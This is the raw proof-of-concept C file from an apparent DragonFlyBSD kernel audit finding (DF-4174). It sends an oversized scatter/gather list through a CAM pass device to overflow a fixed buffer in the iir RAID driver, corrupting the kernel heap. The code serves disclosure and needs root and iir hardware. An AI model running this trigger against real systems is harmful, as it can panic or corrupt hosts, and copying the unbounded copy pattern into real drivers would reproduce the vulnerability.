⬢ DragonFlyBSD Kernel Audit
DF-4174 / sg_overflow.c
← back to finding ↓ download raw
/*
 * DF-4174 PoC -- iir(4) unbounded physical scatter/gather list copy
 *                (gdtexecuteccb / gdt_raw_cmd / gdt_cache_cmd)
 *
 * Bug: an XPT_SCSI_IO CCB arriving with CAM_SCATTER_VALID set and
 * CAM_DATA_PHYS clear is dispatched by gdt_next() to gdt_raw_cmd() /
 * gdt_cache_cmd() (sys/dev/raid/iir/iir.c:843-878 / 950-985).  On that
 * path the driver takes the segment list and count straight from the
 * CCB:
 *
 *      segs = (struct bus_dma_segment *)ccb->csio.data_ptr;
 *      gdtexecuteccb(gccb, segs, ccb->csio.sglist_cnt, 0);
 *
 * and gdtexecuteccb() (iir.c:1254-1285) copies nseg entries into the
 * fixed 32-entry (GDT_MAXSG, iir.h:71) SG array at the tail of the
 * 324-byte (GDT_CMD_SZ) gccb->gc_cmd[] buffer with NO bound on nseg.
 * The sc_buffer_dmat nsegments=GDT_MAXSG bound (iir.c:205) only
 * constrains the bus_dmamap_load() path, not this one.
 *
 * Reachability: /dev/passN (mode 0600 -> root only) lets userland build
 * an arbitrary XPT_SCSI_IO CCB with flags = CAM_DIR_IN |
 * CAM_SCATTER_VALID | CAM_SG_LIST_PHYS and a caller-chosen sglist_cnt +
 * physical segment array.  sglist_cnt > 32 overflows gc_cmd[] into the
 * adjacent struct gdt_ccb fields and neighbouring gccbs of the
 * kmalloc'd sc_gccbs[] block (kernel heap corruption).
 *
 * Usage: ./sg_overflow [pass-device]     (default /dev/pass0)
 *
 * On a host WITH an iir controller this program targets its bus and
 * overflows the SG array (expected: corruption/panic).
 * On a host WITHOUT iir hardware the SIM check fails -- documented.
 *
 * Build:  cc -O -o sg_overflow sg_overflow.c -lcam
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>

#include <camlib.h>
#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/scsi/scsi_message.h>

#define NSEG_SEND   64      /* GDT_MAXSG is 32 -> entries 33..64 overflow */
#define SEG_LEN     512

/* kernel reads data_ptr as struct bus_dma_segment
 * { bus_addr_t ds_addr; bus_size_t ds_len; } -- 16 bytes on x86_64 */
struct poc_seg { uint64_t addr; uint64_t len; };

int
main(int argc, char **argv)
{
    struct cam_device *dev;
    union ccb *ccb;
    struct poc_seg segs[NSEG_SEND];
    const char *path = (argc > 1) ? argv[1] : "/dev/pass0";
    int i;

    printf("[*] DF-4174: iir gdtexecuteccb unbounded physical SG copy\n");
    printf("[*] opening %s ...\n", path);

    dev = cam_open_device(path, O_RDWR);
    if (dev == NULL) {
        fprintf(stderr, "[!] cam_open_device(%s) failed: %s\n",
                path, cam_errbuf);
        fprintf(stderr, "[!] no pass device -> no userland path to any "
                "SCSI SIM (hardware-gated)\n");
        exit(2);
    }

    /* verify the SIM behind this pass device is actually iir */
    ccb = cam_getccb(dev);
    ccb->ccb_h.func_code = XPT_PATH_INQ;
    if (cam_send_ccb(dev, ccb) < 0 ||
        (ccb->ccb_h.status & CAM_STATUS_MASK) != CAM_REQ_CMP) {
        fprintf(stderr, "[!] XPT_PATH_INQ failed: 0x%x\n",
                ccb->ccb_h.status);
        exit(3);
    }
    printf("[*] %s sits on SIM \"%s\" (bus %d)\n", path,
           ccb->cpi.dev_name, ccb->cpi.bus_id);
    if (strcmp(ccb->cpi.dev_name, "iir") != 0) {
        fprintf(stderr, "[!] SIM is not \"iir\" -- this trigger must "
                "target an iir bus; none exists on this host "
                "(hardware-gated)\n");
        cam_freeccb(ccb);
        cam_close_device(dev);
        exit(4);
    }
    cam_freeccb(ccb);

    memset(segs, 0, sizeof(segs));
    for (i = 0; i < NSEG_SEND; i++) {
        segs[i].addr = 0x1000000;    /* any physical address */
        segs[i].len  = SEG_LEN;
    }

    ccb = cam_getccb(dev);
    memset(ccb, 0, sizeof(*ccb));
    ccb->ccb_h.func_code = XPT_SCSI_IO;
    ccb->ccb_h.flags = CAM_DIR_IN | CAM_SCATTER_VALID | CAM_SG_LIST_PHYS;
    ccb->ccb_h.timeout = 30000;
    ccb->csio.data_ptr = (u_int8_t *)segs;
    ccb->csio.dxfer_len = NSEG_SEND * SEG_LEN;
    ccb->csio.sglist_cnt = NSEG_SEND;
    ccb->csio.sense_len = 32;
    ccb->csio.cdb_len = 6;
    ccb->csio.cdb_io.cdb_bytes[0] = 0x00;   /* TEST UNIT READY */

    printf("[*] sending XPT_SCSI_IO with sglist_cnt=%d (> GDT_MAXSG=32)\n",
           NSEG_SEND);
    if (cam_send_ccb(dev, ccb) < 0) {
        perror("[!] cam_send_ccb");
        exit(5);
    }
    printf("[*] CCB sent, status 0x%x\n", ccb->ccb_h.status);
    printf("[!] On iir hardware gdtexecuteccb (iir.c:1272-1284) write-"
           "overflows gccb->gc_cmd[324] into adjacent gdt_ccb fields.\n");
    cam_freeccb(ccb);
    cam_close_device(dev);
    return (0);
}